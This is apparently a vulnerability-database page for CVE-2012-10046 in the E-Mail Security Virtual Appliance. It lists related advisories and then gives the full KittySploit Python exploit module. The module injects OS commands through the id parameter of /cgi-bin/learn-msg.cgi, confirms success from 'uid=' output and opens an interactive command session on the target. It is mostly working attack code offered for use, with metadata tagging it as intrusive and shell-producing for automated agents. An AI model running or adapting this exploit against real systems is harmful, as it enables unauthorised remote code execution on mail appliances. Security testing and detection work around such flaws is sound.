ESVA - learn-msg.cgi RCE (CVE-2012-10046)
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2012-10046 | 29 May 201815:50 | – | circl | |
| ESVA-Project E-Mail Security Virtual Appliance 安全漏洞 | 8 Aug 202500:00 | – | cnnvd | |
| CVE-2012-10046 | 8 Aug 202518:11 | – | cve | |
| CVE-2012-10046 E-Mail Security Virtual Appliance learn-msg.cgi Command Injection | 8 Aug 202518:11 | – | cvelist | |
| EUVD-2012-6587 | 7 Oct 202500:30 | – | euvd | |
| ESVA - learn-msg.cgi RCE Detection (CVE-2012-10046) | 10 Aug 202606:19 | – | kittysploit | |
| E-Mail Security Virtual Appliance learn-msg.cgi Command Injection | 16 Aug 201200:00 | – | metasploit | |
| CVE-2012-10046 | 8 Aug 202519:15 | – | nvd | |
| E-Mail Security Virtual Appliance (ESVA) RCE Vulnerability - Active Check | 16 Aug 201200:00 | – | openvas | |
| PT-2025-32399 · Unknown · E-Mail Security Virtual Appliance | 8 Aug 202500:00 | – | ptsecurity |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ESVA learn-msg.cgi command injection (CVE-2012-10046) — execute session."""
from __future__ import annotations
import re
from urllib.parse import quote
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'ESVA - learn-msg.cgi RCE (CVE-2012-10046)',
'description': (
'Exploits CVE-2012-10046 by injecting OS commands into the id parameter of '
'/cgi-bin/learn-msg.cgi. Opens an interactive execute session.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2012-10046'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2012-10046'],
'tags': ['esva', 'email', 'rce', 'cmdi', 'unauth', 'cve-2012-10046'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 1,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''},
],
'suggested_followups': ['scanner/http/cve_2012_10046_detect'],
},
},
}
def execute(self, cmd: str) -> str:
safe = str(cmd).replace('|', '')
path = f'/cgi-bin/learn-msg.cgi?id=|{quote(safe, safe="")};'
r = self.http_request(method='GET', path=path, allow_redirects=False)
return (r.text or '') if r else ''
def check(self):
body = self.execute('id')
if re.search(r'uid=\d+', body or ''):
return {
'vulnerable': True,
'reason': 'CVE-2012-10046 confirmed via id output',
'confidence': 'high',
}
return {
'vulnerable': False,
'reason': 'learn-msg.cgi did not return command output',
'confidence': 'medium',
}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
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04 Sep 2026 06:36Current
6Medium risk
Vulners AI Score6
CVSS 49.3
EPSS0.04187
SSVC